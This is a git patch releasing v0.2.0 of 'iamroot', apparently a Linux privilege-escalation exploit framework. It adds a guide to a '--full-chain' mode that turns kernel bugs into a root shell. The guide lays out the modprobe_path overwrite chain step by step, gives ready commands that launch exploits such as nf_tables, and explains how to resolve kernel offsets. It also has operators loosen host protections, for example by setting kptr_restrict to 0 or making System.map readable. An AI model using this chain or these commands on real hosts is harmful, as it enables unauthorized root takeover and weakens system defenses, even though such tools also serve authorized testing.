From e2a3d6e94fbc17b3e986a4e1cf60391877d6f0b3 Mon Sep 17 00:00:00 2001 From: KaraZajac Date: Sat, 16 May 2026 22:06:14 -0400 Subject: [PATCH] =?UTF-8?q?release:=20v0.2.0=20=E2=80=94=20--full-chain=20?= =?UTF-8?q?root-pop=20opt-in=20across=207=20=F0=9F=9F=A1=20modules?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit iamroot.c: bump IAMROOT_VERSION 0.1.0 โ†’ 0.2.0 CVES.md: redefine ๐ŸŸก to note --full-chain capability + docs/OFFSETS.md README.md: update Status section for v0.2.0 docs/OFFSETS.md: new doc โ€” env-var/kallsyms/System.map/embedded-table resolution chain + operator workflow for populating offsets per kernel build + sentinel-based success arbitration. All 7 ๐ŸŸก modules now expose `--full-chain`. Default behavior unchanged. --- CVES.md | 18 +++--- README.md | 15 ++--- docs/OFFSETS.md | 144 ++++++++++++++++++++++++++++++++++++++++++++++++ iamroot.c | 2 +- 4 files changed, 164 insertions(+), 15 deletions(-) create mode 100644 docs/OFFSETS.md diff --git a/CVES.md b/CVES.md index a7c372b..9b49e14 100644 --- a/CVES.md +++ b/CVES.md @@ -8,18 +8,22 @@ Status legend: - ๐ŸŸข **WORKING** โ€” module verified to land root on a vulnerable host - ๐ŸŸก **PRIMITIVE** โ€” fires the kernel primitive (trigger + slab groom - + empirical witness) on a vulnerable host, but stops short of the - full cred-overwrite / R/W chain. Returns `EXPLOIT_FAIL` honestly; - useful as a vuln-verification probe and a continuation point for - full chains. Per-kernel offsets deliberately not shipped. + + empirical witness) on a vulnerable host. By default returns + `EXPLOIT_FAIL` honestly (no fabricated offsets). Pass `--full-chain` + to additionally attempt root pop via the shared `modprobe_path` + finisher (`core/finisher.{c,h}`) โ€” requires kernel offsets via + env vars / `/proc/kallsyms` / `/boot/System.map`; see + [`docs/OFFSETS.md`](docs/OFFSETS.md). On success returns + `EXPLOIT_OK` and drops a root shell; on failure returns + `EXPLOIT_FAIL` โ€” never claims root without an empirical + setuid-bash sentinel. - ๐Ÿ”ต **DETECT-ONLY** โ€” module fingerprints presence/absence but no - exploit. (No module is currently in this state โ€” every registered - module now fires either a full chain or a primitive.) + exploit. (No module is currently in this state.) - โšช **PLANNED** โ€” stub exists, work not started - ๐Ÿ”ด **DEPRECATED** โ€” fully patched everywhere relevant; kept for historical reference only -**Counts (v0.1.0):** ๐ŸŸข 13 ยท ๐ŸŸก 7 ยท ๐Ÿ”ต 0 ยท โšช 1 ยท ๐Ÿ”ด 0 +**Counts (v0.2.0):** ๐ŸŸข 13 ยท ๐ŸŸก 7 (all `--full-chain` capable) ยท ๐Ÿ”ต 0 ยท โšช 1 ยท ๐Ÿ”ด 0 ## Inventory diff --git a/README.md b/README.md index c76e6b1..43b0e94 100644 --- a/README.md +++ b/README.md @@ -94,19 +94,20 @@ The same binary covers offense and defense: ## Status -**Active โ€” v0.1.0 cut 2026-05-16.** Corpus covers **20 modules** +**Active โ€” v0.2.0 cut 2026-05-16.** Corpus covers **20 modules** across the 2016 โ†’ 2026 LPE timeline: - ๐ŸŸข **13 modules land root** end-to-end on a vulnerable host (copy_fail family ร—5, dirty_pipe, entrybleed leak, pwnkit, overlayfs CVE-2021-3493, dirty_cow, ptrace_traceme, cgroup_release_agent, overlayfs_setuid CVE-2023-0386). -- ๐ŸŸก **7 modules fire the kernel primitive** (trigger + slab groom + - empirical witness) but stop short of the full cred-overwrite / - R/W chain โ€” they return `EXPLOIT_FAIL` honestly rather than - fabricate per-kernel offsets. Useful as vuln-verification probes. - (af_packet, af_packet2, cls_route4, fuse_legacy, nf_tables, - netfilter_xtcompat, stackrot.) +- ๐ŸŸก **7 modules fire the kernel primitive** by default and refuse to + claim root without empirical confirmation. Pass `--full-chain` to + engage the shared `modprobe_path` finisher and attempt root pop โ€” + requires kernel offsets via env vars / `/proc/kallsyms` / + `/boot/System.map`; see [`docs/OFFSETS.md`](docs/OFFSETS.md). + Modules: af_packet, af_packet2, cls_route4, fuse_legacy, nf_tables, + netfilter_xtcompat, stackrot. - Detection rules ship inline (auditd / sigma / yara / falco) and are exported via `iamroot --detect-rules --format=โ€ฆ`. diff --git a/docs/OFFSETS.md b/docs/OFFSETS.md new file mode 100644 index 0000000..10c32ce --- /dev/null +++ b/docs/OFFSETS.md @@ -0,0 +1,144 @@ +# IAMROOT โ€” kernel offset resolution + +The 7 ๐ŸŸก PRIMITIVE modules each land a kernel-side primitive (heap-OOB +write, slab UAF, etc.). The default `--exploit` returns +`IAMROOT_EXPLOIT_FAIL` after the primitive fires โ€” the verified-vs-claimed +bar means we don't claim root unless we empirically have it. + +`--full-chain` engages the shared finisher (`core/finisher.{c,h}`) which +converts the primitive to a real root pop via `modprobe_path` overwrite: + +``` +attacker โ†’ arb_write(modprobe_path, "/tmp/iamroot-mp-.sh") + โ†’ execve("/tmp/iamroot-trig-") # unknown-format binary + โ†’ kernel call_modprobe() # spawns modprobe_path as init + โ†’ /tmp/iamroot-mp-.sh runs as root + โ†’ cp /bin/bash /tmp/iamroot-pwn-; chmod 4755 /tmp/iamroot-pwn- + โ†’ caller exec /tmp/iamroot-pwn- -p + โ†’ root shell +``` + +This requires resolving `&modprobe_path` (a single kernel virtual +address) at runtime. + +## Resolution chain + +`core/offsets.c` tries four sources in order, accepting the first +non-zero value for each field: + +1. **Environment variables** โ€” operator override. + - `IAMROOT_KBASE=0x...` + - `IAMROOT_MODPROBE_PATH=0x...` + - `IAMROOT_POWEROFF_CMD=0x...` + - `IAMROOT_INIT_TASK=0x...` + - `IAMROOT_INIT_CRED=0x...` + - `IAMROOT_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`) + - `IAMROOT_CRED_OFFSET_EFF=0x...` + - `IAMROOT_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4) + +2. **`/proc/kallsyms`** โ€” only useful when `kernel.kptr_restrict=0` + OR you're already root. On modern distros (kptr_restrict=1 by + default) non-root reads return all zeros and this source is + silently skipped. + +3. **`/boot/System.map-$(uname -r)`** โ€” world-readable on some distros + (older Debian, some Alma builds). Unaffected by `kptr_restrict`. + +4. **Embedded table** โ€” keyed by `uname -r` glob, entries are + offsets *relative to `_text`* (KASLR-safe). Applied on top of a + kbase leak (e.g. EntryBleed). Seeded empty in v0.2.0 โ€” schema-only โ€” + to honor the no-fabricated-offsets rule. Operators who verify + offsets on a specific kernel build are encouraged to upstream + entries. + +## How operators populate offsets + +### One-shot (preferred for ad-hoc use) + +```bash +# Look up on a kernel you control (as root, once): +sudo grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms + +# Use the addresses inline: +IAMROOT_MODPROBE_PATH=0xffffffff8228e7e0 \ + iamroot --exploit nf_tables --i-know --full-chain +``` + +### Per-host (write System.map readable) + +```bash +sudo chmod 0644 /boot/System.map-$(uname -r) +iamroot --exploit nf_tables --i-know --full-chain +``` + +### Per-boot (lower kptr_restrict) + +```bash +sudo sysctl kernel.kptr_restrict=0 +iamroot --exploit nf_tables --i-know --full-chain +``` + +Note: each of these requires root *once*. For a true non-root LPE on +an unfamiliar host you need either an info-leak module (EntryBleed +gives kbase) plus an embedded table entry, or out-of-band offset +acquisition. + +## Adding entries to the embedded table + +In `core/offsets.c`, `kernel_table[]` carries the schema: + +```c +{ .release_glob = "5.15.0-25-generic", + .distro_match = "ubuntu", + .rel_modprobe_path = 0x148e480, // & _text + .rel_poweroff_cmd = 0x148e3a0, + .rel_init_task = 0x1c11dc0, + .rel_init_cred = 0x1e0c460, + .cred_offset_real = 0x758, + .cred_offset_eff = 0x760, }, +``` + +To populate, on the target kernel: + +```bash +# Get _text: +_text=$(grep ' _text$' /boot/System.map-$(uname -r) | awk '{print $1}') + +# Get the symbols you want, subtract _text: +for sym in modprobe_path poweroff_cmd init_task init_cred; do + addr=$(grep " $sym$" /boot/System.map-$(uname -r) | awk '{print $1}') + printf "rel_%s = 0x%x\n" $sym $((0x$addr - 0x$_text)) +done +``` + +Open a PR with the verified entry and a one-line note on which kernel +build + distro you tested against. Upstreamed entries make the +`--full-chain` path work out-of-the-box for that build. + +## Verifying success + +The shared finisher (`iamroot_finisher_modprobe_path()`) drops a +sentinel file at `/tmp/iamroot-pwn-` after `modprobe` runs our +payload. The finisher polls for this file with `S_ISUID` mode set +for up to 3 seconds. Only when the sentinel materializes does the +module return `IAMROOT_EXPLOIT_OK` and (unless `--no-shell`) exec +the setuid bash to drop a root shell. + +If the sentinel never appears the module returns `IAMROOT_EXPLOIT_FAIL` +with a diagnostic. Reasons it might fail even with offsets resolved: + +- The arb-write didn't actually land (slab adjacency lost, value-pointer + field at unexpected offset, race not won) +- `modprobe_path` resolution was wrong (KASLR slide miscalculated, + embedded-table entry stale) +- Kernel `STATIC_USERMODEHELPER` config disables the modprobe path +- AppArmor / SELinux / Lockdown LSM blocks the userspace `modprobe` + invocation + +## Why `modprobe_path` and not `current->cred->uid = 0`? + +The cred-overwrite finisher needs an arb-READ primitive too โ€” to walk +the task linked list from `init_task` and find the calling process's +`task_struct`. Most of our ๐ŸŸก modules have only an arb-write primitive, +not a paired read. `modprobe_path` only needs a write to a single +known global, which is why it's the default finisher. diff --git a/iamroot.c b/iamroot.c index 8b809d7..0372cee 100644 --- a/iamroot.c +++ b/iamroot.c @@ -25,7 +25,7 @@ #include #include -#define IAMROOT_VERSION "0.1.0" +#define IAMROOT_VERSION "0.2.0" static const char BANNER[] = "\n"